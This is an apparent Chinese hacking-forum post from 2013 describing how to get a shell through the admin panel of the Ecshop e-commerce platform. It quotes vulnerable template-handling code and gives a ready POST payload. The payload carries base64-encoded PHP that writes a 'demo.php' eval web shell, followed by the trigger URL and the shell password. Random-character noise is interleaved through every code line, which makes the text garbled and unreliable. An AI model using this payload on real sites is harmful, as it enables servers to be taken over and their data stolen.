找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2427|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
1 e+ k+ o( l  ^* i) T. o- B' S+ a# @9 \% x
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了% D2 {1 c5 A" M& S4 A% U" z% Q
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码% G$ }: z& X/ |
admin/template.php
9 p5 }1 m' _" z! t$ x) }4 G# B) [, }, `& w- v* G$ Y! |8 z
1 if ($_REQUEST['act'] == 'update_library')
! P  _1 |) s1 R, B8 K. q; x- \  l) I2 x# u9 ~$ ~
2   8 ^; P' E: `( q) h+ a

* I" C( T  t( @- O: ~* v+ V& {3 {
" D/ @( a, H6 L& [- H/ d: n0 Q6 q" t) k- R3 ~( r2 _
4     check_authz_json('library_manage'); ; ?9 b' K, T* R/ ?! o

# c/ Y6 t" F0 G% s: U9 v) k& o5   3 W9 \! k7 t8 B3 X. O7 @- \" Z, i2 l
! W2 d+ N' i1 }( ?1 p0 T- V
6     $html = stripslashes(json_str_iconv($_POST['html']));
1 U  ]2 F# T: y3 F7 d
3 n1 Q) u. o+ ?5 T/ D5 g7   
) O$ Y: ~% H+ H; X% g7 @* d1 ?, _& @$ M. i( C) p
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 - v, {- c; W& a, K7 h5 C
; o5 C' P, o( E6 O/ m
9   0 C$ }* x+ b+ \" b# z

- C1 a- g/ o: N6 I9 z3 {10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 0 d; a4 i  I+ {- {2 `: @- a7 {
* _" I6 v& B& N' G6 K( P8 L
11   
+ R5 w7 T. L. s3 Q7 V
  ^  w% s  z! s4 c4 D: g5 @12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); / q% H7 M5 s4 Q; H: v8 ?
1 G4 ]* M8 P* A
13   
0 z# M- h9 v0 ?6 i5 \4 _  u& H3 `' C1 j7 Q# z- @/ _. O. x
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
: n. v* z7 ]. F+ {7 s. \
2 l2 s) `7 `$ q+ V! p' ^" I15     { & X" M1 y2 `  E8 O
7 K- Z3 L0 D" k" C
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); / p+ K3 J* p' M: }1 t

9 P- ]5 C- r) Z; W$ z( g17         make_json_result('', $_LANG['update_lib_success']); 7 q9 Q9 x, y0 |+ R" T8 F: \# T( H
+ j" g4 O; f; J/ w
18     }
6 h- ^2 Y: f6 G6 U# N% N8 ~0 o2 r6 o: M' ~) [& V
19     else 9 J! M/ X( w9 M3 x; Y$ m
- M- M5 Y/ [. `' D' x
20     {
" T2 m3 [3 @9 ~" F- ]/ S
, m1 [2 p5 @8 h21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
+ y, a/ a) h+ O  `7 d: p0 ^
' S5 ^9 T* Q" A( g: M) T22     }
8 M( W% d4 F# N; N1 q5 d" }2 G1 X
23 }
# j, G7 @4 O# r" R6 ~+ t6 Z- f: q0 o% |% b2 I  b) y: B% ~
那么找个比较方便调用了模板的文件& e2 m1 U1 R4 t5 b! N
index.php
( _/ d; x1 w& J* y+ I& c
* ?2 K! z& Z, N1 if ($act == 'cat_rec')
# f+ [4 u  |9 V5 q! E  G7 _) k9 V- ]6 s
2   6 ^0 t% F1 G( ~& i8 ?; j
7 {& _6 K: P/ A! S
3 {
7 Y7 ]4 [( _. J" s6 o: c+ a/ g  B0 Z+ i# s
4     v/ f  o. j9 N2 k5 X* e5 `8 e
% l5 |/ _  U) S; ^6 `
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); , S% m8 U5 i$ y4 X

7 c9 B2 M0 n0 k% R6   8 n, \! [8 [+ O2 V5 q1 y" R$ J
, R8 ~+ s, @9 S3 T& F- N. v: B4 s
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
8 B0 z# a* b$ e4 f* Z0 y7 p# x0 O# h0 u+ C0 }' _1 W' Q
8   
, `6 e. }. i1 Z" R& Y# G% e
7 [. ^% n& R" w9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
) {' \! U% z5 D- Q* \% [) B$ T9 [3 a' e, U
10   ! U) ]" \& c8 C) C3 ?- S& F1 v
1 U) a0 A. x* f  x5 }+ Z
11     include_once('includes/cls_json.php');
& J) L' f& t0 t/ b% U2 K8 W& |
, U1 X6 S0 x3 Y4 r12   : w" k' k8 O- j! A5 j& S) O

! `& Q. ]% }; I; Y: L6 z0 }; B; G) W13     $json = new JSON; 8 Q. I; k! i' g' j! ]
4 [, B$ h- x' j; K! t; F  _0 e! b4 q
14   9 [6 G. ?3 q* _$ @1 a' P" w+ o
1 f- h/ D! c+ p5 m) c
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
; }0 m' F5 }5 V1 V3 W# H/ u! s0 _& w6 g; Y, I$ [
16   2 R& x0 C/ z7 [  O+ D

8 o: e9 H7 H4 i1 R! `" [17     $children = get_children($cat_id);
# r# M& I& Z' Q4 D, r. O  Q1 U. c; n
/ |# m: C2 }& L' B3 H5 f18   ; A$ P! f% z( K* o6 [: A( Z5 @* U
* _5 v1 [  @- G6 b* l
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
# B! d- ^  |0 G/ E; c- Z& s( Z& C, g& }
20   
( t9 p6 u; r- ?  d( w8 Q
9 G+ P, _! H; i7 S3 [* o5 J; o+ G21     $smarty->assign('cat_rec_sign', 1);
3 `. x& E# _. o' u7 R' R
* D5 Z8 {7 I1 ]+ j4 n22   1 e7 G6 V! b! X, P( j
9 `  J! h& P% @
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
2 {' |! t: Y1 b+ c- n. A+ u' b  P! t/ m( u7 r) E
24   & T- E5 f) v. V& |$ ~' w- T

9 u  ?. k0 w% y0 f25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; & }9 e; l- A0 t- t7 L# z

+ B& K" }" R% k7 _/ s26   ( }8 B' J7 {. ?1 k9 b- x) v
8 a& Y- V7 C7 S
27         echo $rec_array[$rec_type]; & \3 n: C. l5 [' a- P2 I( C
! t& p4 O, j8 x! T3 e4 X
28   
6 X, d9 O' W  ^, a
) H' k' q. p2 W( h* i29     die($json->encode($result)); ( O/ Z3 d/ c* p

2 r$ A3 R1 Q  z! o! H8 f30   # D0 c1 ^9 T7 {7 l. E, E, q

7 @0 b" w2 z; D, \5 \31 } $ A8 W$ Z: g! E) q

% O% F1 b2 V9 w+ V: Q/ V1 _; l那么就有利用方法了
  x8 D: O2 A% w9 g6 X5 P; Ppost包到http://localhost/ec/admin/template.php?act=update_library: M# J% }3 F2 {' W! b
Post内容:
9 J1 Q1 j; ?. s3 e) E7 t$ Q  I1 o) ^  k
1 s& W4 c& X$ W2 a+ Z6 f% ?* t
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
! h1 }/ V( m" m& u" w" j& J
+ |5 H5 N- }) f; w) e( l然后访问http://localhost/ec/index.php?act=cat_rec
+ V: w- I0 p' w4 O9 ^. Q: d
  V+ T: t# Z5 U. j- wshel地址:http://localhost/ec/demo.php* v) ?9 a$ `! X* F* e2 k. X8 l
密码c
9 B5 n2 q( v' L8 e9 g8 ~4 d9 t9 O0 I$ V: A) `& d3 P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表